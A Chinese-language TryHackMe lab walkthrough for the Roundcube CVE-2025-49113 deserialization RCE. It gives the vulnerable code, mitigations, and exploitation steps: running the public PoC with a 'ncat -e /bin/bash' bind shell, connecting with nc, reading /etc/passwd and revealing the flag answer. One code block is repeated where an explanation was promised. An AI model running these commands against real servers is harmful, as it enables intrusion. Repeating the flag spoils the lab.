{{date}} {{time}}
状态: 完成
实验室: 简单
标签: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
作者: KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
影响: 登录后远程命令执行 (CVSS 9.9)
受影响版本: ≤ 1.5.10 / 1.6.10
已修复: 1.5.11 和 1.6.11
| 日期 | 事件 |
|---|
| ~2014 | 引入了路径 program/actions/settings/upload.php,并在其中使用了 session->append() 且未进行验证。 |
| 2025年6月3日 | @FearsOff 的研究人员发布了公告并宣布了 PoC。 |
| 2025年6月4日 | Roundcube 应用了 提交 0376f69 (1.6-stable) 和 提交 7408f31 (1.5-lts)。 |
| 2025年6月6日 | PoC 发布在 GitHub 上。 (fearsoff-org/CVE-2025-49113) |
| 2025年6月10日 | 大规模利用。 |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … 再往下
$rcmail->session->append($type . '.files', $id, $attachment);
输入 _from 完整地来自 GET 请求,然后成为会话中节点名称的一部分,
在第一次 append() 期间,Roundcube 执行:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … 再往下
$rcmail->session->append($type . '.files', $id, $attachment);
如果文件存在,则 RCE 成功。
立即更新 至 ≥ 1.6.11 或 ≥ 1.5.11。
如果无法更新,请通过 WAF、防火墙或重写规则阻止任何包含 %22、%7C、!、. 或控制字节的 _from。
在 php.ini 中禁用危险函数(proc_open、exec 等)。
阻止在设置面板上传文件并监控日志。
由 tryhackme 和 strategos 创建
启动 VM (MACHINE_IP) 和 AttackBox。
使用以下凭据访问 http://MACHINE_IP/roundcube:
用户: ellieptic
密码: ChangeMe123
这将成功并正常登录:

确认一切正常运行后,我们将执行利用代码。为此,访问之前提到的 GitHub 上发布的 PoC 并进行 gitclone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

Payload 的使用很简单,只需创建一个绑定 shell 并指向一个端口,同时使用 .php 文件,按照以下用法操作:
php CVE-2025-49113.php <站点> <用户> <密码> "<绑定 shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– 该脚本会登录,将恶意 PHP 对象注入到 _from 参数中,正如我们之前所说,调用 upload.php 端点,然后强制注销以触发
session_decode() → unserialize() → proc_open()。
有时它会显示 CSRF 错误;忽略它并继续下一步,
因为命令通常仍然执行成功。

如果绑定 shell 成功,它正在我们指定的端口 1337 上监听,现在只需连接到它:
nc MACHINE_IP 1337
获取 Shell。

Byte要解决这个问题,我们可以通过 cat /etc/passwd 并 grep Maggie 的用户,或者简单地在 /home 下执行 ls。

/etc 中的标志值是多少?THM{ICE_CUBE_DESERIALISATION}为了解决这个问题,我执行了 cat /etc/flag*,幸运的是文件名就是 flag,从而成功捕获。

提交 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
提交 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff 分析文章 – https://fearsoff.org/research/roundcube
OffSec 博客 – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA 公告 – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com